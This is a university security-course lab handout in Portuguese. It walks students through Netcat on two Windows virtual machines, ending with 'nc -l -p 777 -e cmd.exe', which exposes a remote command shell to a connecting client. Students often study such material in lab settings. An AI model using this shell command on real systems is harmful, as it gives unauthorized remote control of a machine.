Baixe o app para aproveitar ainda mais
Prévia do material em texto
Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Conexão Reversa com Netcat Informações Iniciais • Para este tutorial devem ser utilizadas duas máquinas virtuais Windows, sendo uma para funcionar como cliente e outra para funcionar como servidor. Passo 1: Baixar Programas Necessários Realize o download do Netcat (netcat111.zip) a partir do ambiente de nossa disciplina no Moodle. Passo 2: Instalar Netcat Descompactar o arquivo netcat111.zip e executar o seguinte comando: C:\> nc -h 1/4 Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Passo 3: Executar Netcat como Servidor Execute o comando abaixo na máquina Windows que servirá como servidor. Este irá permitir ao Netcat “ouvir” a porta 777. C:\> nc -v -l -p 777 Passo 4: Executar o Netcat como Cliente Realize a instalação do Netcat em outra máquina Windows (cliente) e, então, execute o comando abaixo, considerando as devidas adaptações: C:\>nc -v <IP DO SERVIDOR> 777 Logo após, um resultado semelhante àquele apresentado pela figura abaixo será exibido na tela da máquina cliente: Na máquina servidora, por sua vez, será exibido um resultado equivalente ao apresentado a seguir: 2/4 Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Passo 5: Executar um Comando com Conexão Reversa Na máquina servidora, realize um Ctrl+C e encerre a conexão estabelecida no passo anterior. Logo após, coloque o servidor para funcionar novamente através do comando abaixo: C:\>nc -v -l -p 777 -e cmd.exe 3/4 Universidade Federal de Goiás Instituto de Informática Segurança em Sistemas de Informação William D. Ferreira Em seguida, digite, na máquina cliente, o comando abaixo a fim de se estabelecer uma conexão reversa e executar um comando no servidor: C:\>nc -v <IP DO SERVIDOR> 777 Tendo digitado o comando acima, uma tela semelhante àquela abaixo será exibida no cliente: Isso feito, o shell exibido na máquina cliente será, na verdade, pertencente à máquina servidora e, portanto, todos os comando digitados nele serão executados no servidor. Por fim, no servidor, será exibida uma tela semelhante àquela trazida a seguir: 4/4
Compartilhar